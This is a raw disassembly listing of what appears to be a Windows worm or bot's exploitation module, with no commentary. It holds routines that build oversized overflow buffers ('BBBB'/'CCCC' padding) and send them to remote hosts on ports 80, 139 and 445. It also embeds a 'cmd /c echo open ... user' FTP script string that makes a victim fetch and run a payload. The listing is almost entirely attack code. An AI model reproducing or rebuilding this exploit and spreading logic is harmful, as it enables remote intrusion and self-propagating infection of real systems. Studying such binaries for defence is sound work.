sub_40C9A4 proc near ; CODE XREF: sub_40CADA+89p ; sub_40CADA+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_4CB4EC call sub_40C8AA lea ecx, [ebp+var_8] call sub_40C918 mov eax, [ebp+var_4] inc eax push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C9DE xor al, al jmp short loc_40CA1A ; --------------------------------------------------------------------------- loc_40C9DE: ; CODE XREF: sub_40C9A4+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41B590 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41C310 add esp, 18h mov ecx, esi call sub_40C8FF mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40C8FF mov al, 1 loc_40CA1A: ; CODE XREF: sub_40C9A4+38j pop edi pop esi leave retn sub_40C9A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA1E proc near ; CODE XREF: sub_40CA52+14p ; sub_40CA6F+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CA1E endp ; =============== S U B R O U T I N E ======================================= sub_40CA52 proc near ; CODE XREF: sub_40CADA+F0p ; sub_40CADA+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41AFE0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CA1E pop esi retn 4 sub_40CA52 endp ; =============== S U B R O U T I N E ======================================= sub_40CA6F proc near ; CODE XREF: sub_40CABB+Bp ; sub_40CADA+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CA1E retn 8 sub_40CA6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA7F proc near ; CODE XREF: sub_40CABB+16p ; sub_40CADA+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40C918 test al, al jz short loc_40CAB8 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42CFB0 call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CAB8: ; CODE XREF: sub_40CA7F+Fj pop esi leave retn sub_40CA7F endp ; =============== S U B R O U T I N E ======================================= sub_40CABB proc near ; CODE XREF: sub_40CADA+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CA6F test al, al jz short loc_40CAD6 mov ecx, esi call sub_40CA7F loc_40CAD6: ; CODE XREF: sub_40CABB+12j pop esi retn 8 sub_40CABB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CADA proc near ; CODE XREF: .packed:0040D361p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40C866 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40CE2E mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40CE2E push esi lea ecx, [ebp+var_30] call sub_40C866 lea ecx, [ebp+var_20] call sub_40C866 lea ecx, [ebp+var_50] call sub_40C866 lea ecx, [ebp+var_18] call sub_40C866 lea ecx, [ebp+var_40] call sub_40C866 lea ecx, [ebp+var_38] call sub_40C866 lea ecx, [ebp+var_28] call sub_40C866 push 4 push offset dword_432308 lea ecx, [ebp+var_30] call sub_40CA1E push 3 push offset dword_432310 lea ecx, [ebp+var_30] call sub_40CA1E lea ecx, [ebp+var_30] call sub_40C9A4 lea ecx, [ebp+var_30] call sub_40CA7F mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40CA1E push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CA1E mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CA1E lea ecx, [ebp+var_20] call sub_40C9A4 push offset loc_43268C lea ecx, [ebp+var_50] call sub_40CA52 lea ecx, [ebp+var_50] call sub_40C9A4 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40C870 lea ecx, [ebp+var_58] call sub_40C9A4 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CABB lea ecx, [ebp+var_58] call sub_40C8FF push esi lea eax, [ebp+var_858] push 43h push eax call sub_41B590 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CA52 push 4 push offset dword_432314 lea ecx, [ebp+var_18] call sub_40CA1E push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CA1E sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CA1E lea ecx, [ebp+var_18] call sub_40C9A4 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CA6F push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CA6F lea ecx, [ebp+var_40] call sub_40CA7F lea ecx, [ebp+var_18] call sub_40C8FF lea ecx, [ebp+var_50] call sub_40C8FF push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CA6F push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CA6F push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CA6F lea ecx, [ebp+var_38] call sub_40CA7F lea ecx, [ebp+var_20] call sub_40C8FF lea ecx, [ebp+var_30] call sub_40C8FF lea ecx, [ebp+var_40] call sub_40C8FF push esi lea eax, [ebp+var_858] push 41h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CA1E lea ecx, [ebp+var_28] call sub_40C9A4 push 2 push offset dword_432680 lea ecx, [ebp+var_28] call sub_40CA1E push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CA6F lea ecx, [ebp+var_28] call sub_40CA7F lea ecx, [ebp+var_38] call sub_40C8FF lea ecx, [ebp+var_10] call sub_40C866 lea ecx, [ebp+var_8] call sub_40C866 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_28] call sub_40C8FF push offset dword_43267C lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push offset dword_432678 lea ecx, [ebp+var_10] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_8] call sub_40C8FF push offset dword_43266C lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push (offset loc_432667+1) lea ecx, [ebp+var_48] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C8FF mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40CE3C ; --------------------------------------------------------------------------- loc_40CE2E: ; CODE XREF: sub_40CADA+1Bj ; sub_40CADA+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40CE3C: ; CODE XREF: sub_40CADA+352j pop edi pop ebx leave retn sub_40CADA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE40 proc near ; CODE XREF: sub_40CF04+A1p ; sub_40CF04+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call dword_427228 ; select cmp eax, edi jnz short loc_40CEA7 lea eax, [ebp+var_10C] push eax push esi call sub_426756 ; __WSAFDIsSet test eax, eax jnz short loc_40CEAB loc_40CEA7: ; CODE XREF: sub_40CE40+54j xor eax, eax jmp short loc_40CEBB ; --------------------------------------------------------------------------- loc_40CEAB: ; CODE XREF: sub_40CE40+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CB64C ; recv loc_40CEBB: ; CODE XREF: sub_40CE40+69j pop edi pop esi leave retn sub_40CE40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEBF proc near ; CODE XREF: sub_40CF04+81p ; sub_40CF04+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CB630 ; htonl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CB684 ; send cmp eax, 4 jz short loc_40CEE9 xor al, al leave retn ; --------------------------------------------------------------------------- loc_40CEE9: ; CODE XREF: sub_40CEBF+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CB684 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40CEBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF04 proc near ; CODE XREF: sub_40CFDE+48p ; .packed:0040D452p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_40CF2D xor al, al jmp loc_40CFD9 ; --------------------------------------------------------------------------- loc_40CF2D: ; CODE XREF: sub_40CF04+20j push ebx push 0 push esi call sub_41B590 push 2Fh push offset dword_4323A4 push esi call sub_41C310 push 8 lea eax, [esi+31h] push offset dword_4323D4 push eax mov [esi+2Fh], di call sub_41C310 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41C310 push 6 add ebx, edi push offset dword_4CE34C push ebx call sub_41C310 mov ebx, [ebp+arg_0] push 85h push offset dword_43231C push ebx call sub_40CEBF add esp, 48h test al, al jnz short loc_40CF95 loc_40CF91: ; CODE XREF: sub_40CF04+B5j xor bl, bl jmp short loc_40CFD0 ; --------------------------------------------------------------------------- loc_40CF95: ; CODE XREF: sub_40CF04+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 push [ebp+var_4] push esi push ebx call sub_40CEBF add esp, 1Ch test al, al jz short loc_40CF91 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 add esp, 10h mov bl, 1 loc_40CFD0: ; CODE XREF: sub_40CF04+8Fj push esi call sub_41B0B1 pop ecx mov al, bl loc_40CFD9: ; CODE XREF: sub_40CF04+24j pop edi pop esi pop ebx leave retn sub_40CF04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CFDE proc near ; CODE XREF: .packed:0040D438p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_4323E0 push [ebp+arg_0] call dword_427224 ; send cmp eax, 48h jnz short loc_40D019 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40CE40 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D019 cmp [ebp+var_20], 82h jz short loc_40D01D loc_40D019: ; CODE XREF: sub_40CFDE+1Bj ; sub_40CFDE+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D01D: ; CODE XREF: sub_40CFDE+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF04 add esp, 0Ch leave retn sub_40CFDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D030 proc near ; CODE XREF: sub_40D07C+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427690 call sub_41C798 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427688 fstp [esp+10h+var_10] call sub_41C679 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41C798 inc eax leave retn sub_40D030 endp ; =============== S U B R O U T I N E ======================================= sub_40D07C proc near ; CODE XREF: sub_40D21E+24p var_40 = qword ptr -40h mov eax, offset loc_426DF7 call sub_41CC64 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D6B3 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D030 cmp [ebp-2Ch], eax pop ecx jnb short loc_40D0BE push edi push eax lea ecx, [ebp-38h] call sub_40D62E loc_40D0BE: ; CODE XREF: sub_40D07C+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D1DB mov ebx, [ebp+10h] loc_40D0CD: ; CODE XREF: sub_40D07C+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D0D7 push 3 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0D7: ; CODE XREF: sub_40D07C+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D0E1 push 2 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0E1: ; CODE XREF: sub_40D07C+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D0EA push 1 loc_40D0E9: ; CODE XREF: sub_40D07C+59j ; sub_40D07C+63j pop ebx loc_40D0EA: ; CODE XREF: sub_40D07C+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_4276A0 fstp [esp+40h+var_40] call sub_41C7BF pop ecx pop ecx call sub_41C798 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D129 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D129: ; CODE XREF: sub_40D07C+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D197 add [ebp-18h], eax loc_40D17B: ; CODE XREF: sub_40D07C+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_43242C[eax] push eax push 1 call sub_40D4B0 inc esi cmp esi, [ebp-1Ch] jb short loc_40D17B loc_40D197: ; CODE XREF: sub_40D07C+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D1B5 push dword ptr [ebp+14h] call sub_41AFE0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D509 mov [ebp-18h], edi loc_40D1B5: ; CODE XREF: sub_40D07C+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D1CF sub esi, [ebp-1Ch] loc_40D1C0: ; CODE XREF: sub_40D07C+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D4B0 dec esi jnz short loc_40D1C0 loc_40D1CF: ; CODE XREF: sub_40D07C+13Fj cmp [ebp+10h], edi ja loc_40D0CD push 1 pop ebx loc_40D1DB: ; CODE XREF: sub_40D07C+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D6B3 push dword_427698 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D560 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D6B3 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D07C endp ; =============== S U B R O U T I N E ======================================= sub_40D21E proc near ; CODE XREF: .packed:0040D41Bp mov eax, offset loc_426E14 call sub_41CC64 sub esp, 10h push ebx push esi push edi push offset byte_43D7E8 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D07C mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41B4D5 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D268 xor bl, bl jmp short loc_40D2AC ; --------------------------------------------------------------------------- loc_40D268: ; CODE XREF: sub_40D21E+44j mov ecx, [ebp-18h] mov eax, offset dword_4276A8 cmp ecx, ebx jnz short loc_40D276 mov ecx, eax loc_40D276: ; CODE XREF: sub_40D21E+54j cmp [ebp+18h], ebx jz short loc_40D27E mov eax, [ebp+18h] loc_40D27E: ; CODE XREF: sub_40D21E+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41B980 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4CB684 ; send cmp eax, esi jz short loc_40D2A3 xor bl, bl jmp short loc_40D2A5 ; --------------------------------------------------------------------------- loc_40D2A3: ; CODE XREF: sub_40D21E+7Fj mov bl, 1 loc_40D2A5: ; CODE XREF: sub_40D21E+83j push edi call sub_41B0B1 pop ecx loc_40D2AC: ; CODE XREF: sub_40D21E+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D6B3 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D6B3 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D21E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_4325D8 push eax call sub_41C310 add esp, 0Ch mov eax, offset byte_429108 push eax push eax movzx eax, word ptr dword_4CB370 push eax push dword ptr [ebp+8] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41B980 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_432470 push eax call sub_40CADA xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D377 xor eax, eax jmp loc_40D4A3 ; --------------------------------------------------------------------------- loc_40D377: ; CODE XREF: .packed:0040D36Ej mov [ebp-0Ch], esi loc_40D37A: ; CODE XREF: .packed:0040D47Aj test esi, esi jnz loc_40D480 push 6 push 1 push 2 call dword_427220 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D468 xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CB634 ; htons mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CB674 ; inet_addr mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CB5DC ; connect cmp eax, 0FFFFFFFFh jz loc_40D45D cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D425 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D6B3 lea eax, [ebp+0Ch] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D6EF push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D21E add esp, 1Ch jmp short loc_40D45A ; --------------------------------------------------------------------------- loc_40D425: ; CODE XREF: .packed:0040D3E3j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D43F push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CFDE jmp short loc_40D457 ; --------------------------------------------------------------------------- loc_40D43F: ; CODE XREF: .packed:0040D42Fj cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D45D push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CF04 loc_40D457: ; CODE XREF: .packed:0040D43Dj add esp, 0Ch loc_40D45A: ; CODE XREF: .packed:0040D423j movzx esi, al loc_40D45D: ; CODE XREF: .packed:0040D3D6j ; .packed:0040D449j push ebx call dword_4CB6CC ; closesocket test esi, esi jnz short loc_40D473 loc_40D468: ; CODE XREF: .packed:0040D393j push 3E8h call dword_427078 ; Sleep loc_40D473: ; CODE XREF: .packed:0040D466j inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D37A loc_40D480: ; CODE XREF: .packed:0040D37Cj lea ecx, [ebp-8] call sub_40C8FF test esi, esi jz short loc_40D4A1 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431AD8[eax] lea eax, dword_431AD8[eax] loc_40D4A1: ; CODE XREF: .packed:0040D48Aj mov eax, esi loc_40D4A3: ; CODE XREF: .packed:0040D372j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426DD8 loc_40D4A8: ; CODE XREF: sub_426DD8+3j ; .packed:00426DF1j ... push 1 call sub_40D6B3 retn ; END OF FUNCTION CHUNK FOR sub_426DD8 ; =============== S U B R O U T I N E ======================================= sub_40D4B0 proc near ; CODE XREF: sub_40D07C+110p ; sub_40D07C+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D4CA call sub_42669A loc_40D4CA: ; CODE XREF: sub_40D4B0+13j test ebx, ebx jbe short loc_40D501 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D501 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41B590 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D501: ; CODE XREF: sub_40D4B0+1Cj ; sub_40D4B0+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D4B0 endp ; =============== S U B R O U T I N E ======================================= sub_40D509 proc near ; CODE XREF: sub_40D07C+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D523 call sub_42669A loc_40D523: ; CODE XREF: sub_40D509+13j test ebx, ebx jbe short loc_40D558 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D558 mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D558: ; CODE XREF: sub_40D509+1Cj ; sub_40D509+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D560 proc near ; CODE XREF: sub_40D07C+17Cp ; sub_4265B0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D578 call sub_426573 loc_40D578: ; CODE XREF: sub_40D560+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D58A mov esi, [ebp+arg_8] loc_40D58A: ; CODE XREF: sub_40D560+25j cmp edi, ebx jnz short loc_40D5AC push dword_427698 add esi, ecx mov ecx, edi push esi call sub_40D724 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D724 jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5AC: ; CODE XREF: sub_40D560+2Cj test esi, esi jbe short loc_40D5EF cmp esi, eax jnz short loc_40D5EF mov eax, [ebx+4] test eax, eax jnz short loc_40D5C0 mov eax, offset dword_4276A8 loc_40D5C0: ; CODE XREF: sub_40D560+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D5EF push 1 mov ecx, edi call sub_40D6B3 mov eax, [ebx+4] test eax, eax jnz short loc_40D5DB mov eax, offset dword_4276A8 loc_40D5DB: ; CODE XREF: sub_40D560+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5EF: ; CODE XREF: sub_40D560+4Ej ; sub_40D560+52j ... push 1 push esi mov ecx, edi call sub_40D62E test al, al jz short loc_40D625 mov eax, [ebx+4] test eax, eax jnz short loc_40D609 mov eax, offset dword_4276A8 loc_40D609: ; CODE XREF: sub_40D560+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41C310 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D625: ; CODE XREF: sub_40D560+4Aj ; sub_40D560+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D560 endp ; =============== S U B R O U T I N E ======================================= sub_40D62E proc near ; CODE XREF: sub_40D07C+3Dp ; sub_40D4B0+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D640 call sub_42669A loc_40D640: ; CODE XREF: sub_40D62E+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D669 mov al, [ecx-1] cmp al, dl jz short loc_40D669 cmp al, 0FFh jz short loc_40D669 cmp edi, edx jnz short loc_40D6A4 dec al push edx mov [ecx-1], al loc_40D65E: ; CODE XREF: sub_40D62E+47j mov ecx, esi call sub_40D6B3 loc_40D665: ; CODE XREF: sub_40D62E+4Bj ; sub_40D62E+52j xor al, al jmp short loc_40D6AE ; --------------------------------------------------------------------------- loc_40D669: ; CODE XREF: sub_40D62E+19j ; sub_40D62E+20j ... cmp edi, edx jnz short loc_40D682 cmp [esp+8+arg_4], dl jz short loc_40D677 push 1 jmp short loc_40D65E ; --------------------------------------------------------------------------- loc_40D677: ; CODE XREF: sub_40D62E+43j cmp ecx, edx 